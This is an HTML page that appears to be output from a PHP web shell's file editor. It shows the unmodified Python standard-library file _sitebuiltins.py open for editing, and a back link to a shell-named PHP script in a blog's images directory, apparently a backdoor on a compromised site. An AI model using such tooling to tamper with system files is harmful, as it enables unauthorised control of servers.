<h2>Edit File - _sitebuiltins.py</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/lib64/python3.6/_sitebuiltins.py">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&quot;&quot;&quot;
The objects used by the site module to add custom builtins.
&quot;&quot;&quot;

# Those objects are almost immortal and they keep a reference to their module
# globals.  Defining them in the site module would keep too many references
# alive.
# Note this means this module should also avoid keep things alive in its
# globals.

import sys

class Quitter(object):
    def __init__(self, name, eof):
        self.name = name
        self.eof = eof
    def __repr__(self):
        return &#039;Use %s() or %s to exit&#039; % (self.name, self.eof)
    def __call__(self, code=None):
        # Shells like IDLE catch the SystemExit, but listen when their
        # stdin wrapper is closed.
        try:
            sys.stdin.close()
        except:
            pass
        raise SystemExit(code)


class _Printer(object):
    &quot;&quot;&quot;interactive prompt objects for printing the license text, a list of
    contributors and the copyright notice.&quot;&quot;&quot;

    MAXLINES = 23

    def __init__(self, name, data, files=(), dirs=()):
        import os
        self.__name = name
        self.__data = data
        self.__lines = None
        self.__filenames = [os.path.join(dir, filename)
                            for dir in dirs
                            for filename in files]

    def __setup(self):
        if self.__lines:
            return
        data = None
        for filename in self.__filenames:
            try:
                with open(filename, &quot;r&quot;) as fp:
                    data = fp.read()
                break
            except OSError:
                pass
        if not data:
            data = self.__data
        self.__lines = data.split(&#039;\n&#039;)
        self.__linecnt = len(self.__lines)

    def __repr__(self):
        self.__setup()
        if len(self.__lines) &lt;= self.MAXLINES:
            return &quot;\n&quot;.join(self.__lines)
        else:
            return &quot;Type %s() to see the full %s text&quot; % ((self.__name,)*2)

    def __call__(self):
        self.__setup()
        prompt = &#039;Hit Return for more, or q (and Return) to quit: &#039;
        lineno = 0
        while 1:
            try:
                for i in range(lineno, lineno + self.MAXLINES):
                    print(self.__lines[i])
            except IndexError:
                break
            else:
                lineno += self.MAXLINES
                key = None
                while key is None:
                    key = input(prompt)
                    if key not in (&#039;&#039;, &#039;q&#039;):
                        key = None
                if key == &#039;q&#039;:
                    break


class _Helper(object):
    &quot;&quot;&quot;Define the builtin &#039;help&#039;.

    This is a wrapper around pydoc.help that provides a helpful message
    when &#039;help&#039; is typed at the Python interactive prompt.

    Calling help() at the Python prompt starts an interactive help session.
    Calling help(thing) prints help for the python object &#039;thing&#039;.
    &quot;&quot;&quot;

    def __repr__(self):
        return &quot;Type help() for interactive help, &quot; \
               &quot;or help(object) for help about object.&quot;
    def __call__(self, *args, **kwds):
        import pydoc
        return pydoc.help(*args, **kwds)
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>